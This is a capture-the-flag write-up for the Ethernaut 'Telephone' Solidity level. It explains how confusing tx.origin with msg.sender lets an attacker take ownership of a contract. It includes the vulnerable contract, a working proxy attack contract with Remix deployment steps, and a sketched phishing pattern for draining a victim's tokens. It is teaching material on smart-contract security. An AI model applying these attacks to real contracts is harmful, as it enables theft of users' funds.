✅
Telephone
tx.origin
Claim ownership of the contract below to complete this level.
Things that might help:
- See the Help page above, section "Beyond the console"
tx.origin
is like msg.sender
, but it is vulnerable.tx.origin
:- the original user wallet that initiated the transaction
- the origin address of potentially an entire chain of transactions and calls
- only user wallet addresses can be the
tx.origin
, not contract address
msg.sender
:- both user wallets and smart contracts can be the
msg.sender
- checks where the external function call directly came from
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Telephone {
address public owner;
constructor() public {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
To hack the contract and claim ownership all we need to do is to create a new malicious contract and encourage the owner to call a specific function that under the hood will change the ownership. Let's think about that like a phishing attack.
Write a "proxy" contract in Remix IDE:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import './Telephone.sol';
contract TelephoneAttack {
Telephone telephone;
constructor(address _address) public {
telephone = Telephone(_address);
}
function changeOwner(address _address) public {
telephone.changeOwner(_address);
}
}
When we call
changeOwner()
from the TelephoneAttack
contract, tx.origin
is our Metamask wallet address. When telephone.changeOwner(_address)
is triggered, msg.sender
is address of the TelephoneAttack
contract. This satisfies the if (tx.origin != msg.sender)
check and thus owner
will be updated to the _owner
argument we passed into the changeOwner()
function call.Deploy it and feed in the original contract address:

TelephoneHack deploy
Feed in your Metamask wallet address and click "changeOwner":

TelephoneAttack changeOwner
Click "Submit instance" and move on to the next level.
While this example may be simple, confusing
tx.origin
with msg.sender
can lead to phishing-style attacks, such as this.An example of a possible attack is outlined below.
- Use
tx.origin
to determine whose tokens to transfer, e.g.
function transfer(address _to, uint _value) {
tokens[tx.origin] -= _value;
tokens[_to] += _value;
}
- Attacker gets victim to send funds to a malicious contract that calls the transfer function of the token contract, e.g.
function () payable {
token.transfer(attackerAddress, 10000);
}
- In this scenario,
tx.origin
will be the victim's address (whilemsg.sender
will be the malicious contract's address), resulting in the funds being transferred from the victim to the attacker.
Last modified 1d ago